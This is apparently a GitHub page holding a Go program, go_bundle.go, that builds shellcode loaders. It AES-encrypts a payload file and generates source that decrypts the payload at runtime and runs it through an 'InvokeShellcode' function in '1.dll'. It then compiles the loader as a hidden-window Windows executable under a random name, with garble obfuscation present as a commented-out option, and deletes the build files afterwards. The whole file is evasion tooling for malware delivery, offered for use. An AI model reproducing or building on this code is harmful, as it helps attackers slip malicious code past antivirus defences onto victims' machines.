-
Notifications
You must be signed in to change notification settings - Fork 63
/
Copy pathgo_bundle.go
188 lines (159 loc) · 4.3 KB
/
go_bundle.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
package main
/*
CopyRight: A10nggg/Yeuoly
*/
import (
"crypto/aes"
"crypto/cipher"
"encoding/base64"
"fmt"
"io"
"io/ioutil"
rrand "math/rand"
"path/filepath"
"crypto/rand"
"os"
"os/exec"
"time"
)
func Readcode(filename string) string {
data, err := ioutil.ReadFile(filename)
if err != nil {
fmt.Println("出现错误了。", err)
}
return string(data)
}
var (
codes = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789"
codeLen = len(codes)
)
func RandNewStr(len int) string { //随机生成deskey
data := make([]byte, len)
rrand.Seed(time.Now().UnixNano())
for i := 0; i < len; i++ {
idx := rrand.Intn(codeLen)
data[i] = byte(codes[idx])
}
return string(data)
}
func encrypt(key []byte, text string) (string, error) {
// 创建一个新的 Cipher.Block 对象
block, err := aes.NewCipher(key)
if err != nil {
return "", err
}
// 生成随机的初始化向量
iv := make([]byte, aes.BlockSize)
if _, err := io.ReadFull(rand.Reader, iv); err != nil {
return "", err
}
// 创建一个加密器对象
ciphertext := make([]byte, aes.BlockSize+len(text))
copy(ciphertext[:aes.BlockSize], iv)
stream := cipher.NewCFBEncrypter(block, iv)
stream.XORKeyStream(ciphertext[aes.BlockSize:], []byte(text))
// 返回加密后的数据,包括 IV 和密文
return base64.URLEncoding.EncodeToString(ciphertext), nil
}
func main() {
if len(os.Args) < 2 {
fmt.Println("请输入加密的文件名称!")
} else {
filename := os.Args[1]
aeskey := RandNewStr(32)
code := Readcode(filename)
newcode, err := encrypt([]byte(aeskey), code)
if err != nil { // Encryption failed!
fmt.Printf("%v", err)
}
//ncode := hex.EncodeToString([]byte(newcode)) //hex编码
SourceCode := fmt.Sprintf(`package main
import (
"crypto/aes"
"crypto/cipher"
"encoding/base64"
"fmt"
"syscall"
"unsafe"
)
func decrypt(key []byte, cryptoText string) (string, error) {
// 解码密文
ciphertext, err := base64.URLEncoding.DecodeString(cryptoText)
if err != nil {
return "", err
}
// 创建一个新的 Cipher.Block 对象
block, err := aes.NewCipher(key)
if err != nil {
return "", err
}
// 提取初始化向量
iv := ciphertext[:aes.BlockSize]
ciphertext = ciphertext[aes.BlockSize:]
// 创建一个解密器对象
plaintext := make([]byte, len(ciphertext))
stream := cipher.NewCFBDecrypter(block, iv)
stream.XORKeyStream(plaintext, ciphertext)
// 返回解密后的明文
return string(plaintext), nil
}
func IntPtr(n int) uintptr {
return uintptr(n)
}
func Lib(decoded []byte) {
lib := syscall.NewLazyDLL("1.dll")
proc := lib.NewProc("InvokeShellcode")
proc.Call((uintptr)(unsafe.Pointer(&decoded[0])), IntPtr(len(decoded)))
}
func main() {
//if shouldExit() {
key := []byte("%v") // 256-bit AES 密钥
cryptoText := "%v"
// 解密加密后的字符串
decryptedText, err := decrypt(key, cryptoText)
if err != nil {
fmt.Println(err)
return
}
Lib([]byte(decryptedText))
// }
}
`, aeskey, newcode)
f, _ := os.Create("doing.go")
_, _ = f.Write([]byte(SourceCode))
f.Close()
scriptPath, err := os.Getwd()
if err != nil {
fmt.Println(err)
return
}
randname := RandStr(4) + ".exe"
batfile, _ := os.Create("doing.bat")
// _, _ = batfile.Write([]byte("garble -tiny -literals -seed=random build -o " + randname + " -trimpath -ldflags=\"-w -s\" doing.go"))
_, _ = batfile.Write([]byte("go build -o " + randname + " -trimpath -ldflags=\"-w -s -H windowsgui\" doing.go"))
batfile.Close()
time.Sleep(time.Duration(1) * time.Second)
cmd := exec.Command(filepath.Join(scriptPath, "doing.bat"))
s := cmd.Start()
fmt.Printf("%v", s)
time.Sleep(time.Duration(1) * time.Second)
os.RemoveAll("doing.bat")
os.RemoveAll("doing.go")
}
}
func readshell(mumafile string) string {
info, _ := ioutil.ReadFile(mumafile)
//compileRegex := regexp.MustCompile("= \"(.*?)\";")
//matchArr := compileRegex.FindStringSubmatch(string(info))
return string(info)
}
func RandStr(length int) string {
str := "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
bytes := []byte(str)
result := []byte{}
rrand.Seed(time.Now().UnixNano() + int64(rrand.Intn(100)))
for i := 0; i < length; i++ {
result = append(result, bytes[rrand.Intn(len(bytes))])
}
return string(result)
}